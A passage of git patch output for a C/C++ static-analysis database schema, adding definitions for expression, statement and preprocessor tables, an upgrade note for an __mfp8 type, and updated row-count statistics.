a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/upgrade.properties b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/upgrade.properties new file mode 100644 index 00000000000..3fdb0aa5a82 --- /dev/null +++ b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/upgrade.properties @@ -0,0 +1,2 @@ +description: Support __mfp8 type +compatibility: full From d70282c3221b105b85dabb97cebd419fcc3f25ae Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Mon, 9 Jun 2025 19:54:41 +0200 Subject: [PATCH 201/271] C++: Update stats file --- cpp/ql/lib/semmlecode.cpp.dbscheme.stats | 7771 +++++++++++----------- 1 file changed, 3885 insertions(+), 3886 deletions(-) diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats index bca58ed2f5b..15f89361250 100644 --- a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats +++ b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats @@ -2,7 +2,7 @@ @compilation - 16142 + 15785 @externalDataElement @@ -18,15 +18,15 @@ @location_default - 36226754 + 36090709 @location_stmt - 5202209 + 5203173 @location_expr - 17956521 + 17959851 @diagnostic @@ -34,47 +34,47 @@ @file - 83260 + 81417 @folder - 15818 + 15468 @macro_expansion - 40121869 + 39234346 @other_macro_reference - 312756 + 312446 @function - 4015439 + 4000083 @fun_decl - 4154519 + 4138631 @var_decl - 9247204 + 9237881 @type_decl - 1882105 + 1840555 @namespace_decl - 430914 + 429821 @using_declaration - 341862 + 334520 @using_directive - 8125 + 8117 @using_enum_declaration @@ -82,307 +82,311 @@ @static_assert - 183493 + 183028 @parameter - 6965639 + 6939001 @membervariable - 1489139 + 1489415 @globalvariable - 466518 + 486787 @localvariable - 734804 + 727547 @enumconstant - 343781 + 343844 @errortype - 125 + 124 @unknowntype - 125 + 124 @void - 125 + 124 @boolean - 125 + 124 @char - 125 + 124 @unsigned_char - 125 + 124 @signed_char - 125 + 124 @short - 125 + 124 @unsigned_short - 125 + 124 @signed_short - 125 + 124 @int - 125 + 124 @unsigned_int - 125 + 124 @signed_int - 125 + 124 @long - 125 + 124 @unsigned_long - 125 + 124 @signed_long - 125 + 124 @long_long - 125 + 124 @unsigned_long_long - 125 + 124 @signed_long_long - 125 + 124 @float - 125 + 124 @double - 125 + 124 @long_double - 125 + 124 @complex_float - 125 + 124 @complex_double - 125 + 124 @complex_long_double - 125 + 124 @imaginary_float - 125 + 124 @imaginary_double - 125 + 124 @imaginary_long_double - 125 + 124 @wchar_t - 125 + 124 @decltype_nullptr - 125 + 124 @int128 - 125 + 124 @unsigned_int128 - 125 + 124 @signed_int128 - 125 + 124 @float128 - 125 + 124 @complex_float128 - 125 + 124 @decimal32 - 125 + 124 @decimal64 - 125 + 124 @decimal128 - 125 + 124 @char16_t - 125 + 124 @char32_t - 125 + 124 @std_float32 - 125 + 124 @float32x - 125 + 124 @std_float64 - 125 + 124 @float64x - 125 + 124 @std_float128 - 125 + 124 @char8_t - 125 + 124 @float16 - 125 + 124 @complex_float16 - 125 + 124 @fp16 - 125 + 124 @std_bfloat16 - 125 + 124 @std_float16 - 125 + 124 @complex_std_float32 - 125 + 124 @complex_float32x - 125 + 124 @complex_std_float64 - 125 + 124 @complex_float64x - 125 + 124 @complex_std_float128 - 125 + 124 + + + @mfp8 + 124 @pointer - 470652 + 470186 @type_with_specifiers - 696526 + 693862 @array - 98431 + 98055 @routineptr - 858764 + 857913 @reference - 970559 + 966847 @gnu_vector - 863 + 843 @routinereference - 470 + 469 @rvalue_reference - 291793 + 290677 @block 10 - - @decltype - 102057 - @type_operator 8519 + + @decltype + 102076 + @usertype - 4962767 + 4863384 @mangledname - 6329773 + 6313665 @type_mention - 5812069 + 5813147 @concept_template @@ -390,15 +394,15 @@ @routinetype - 758603 + 757852 @ptrtomember - 12029 + 12026 @specifier - 7754 + 7724 @gnuattribute @@ -406,11 +410,11 @@ @stdattribute - 350577 + 349236 @declspec - 328789 + 328850 @msattribute @@ -418,19 +422,19 @@ @alignas - 2192 + 2171 @attribute_arg_token - 20955 + 20935 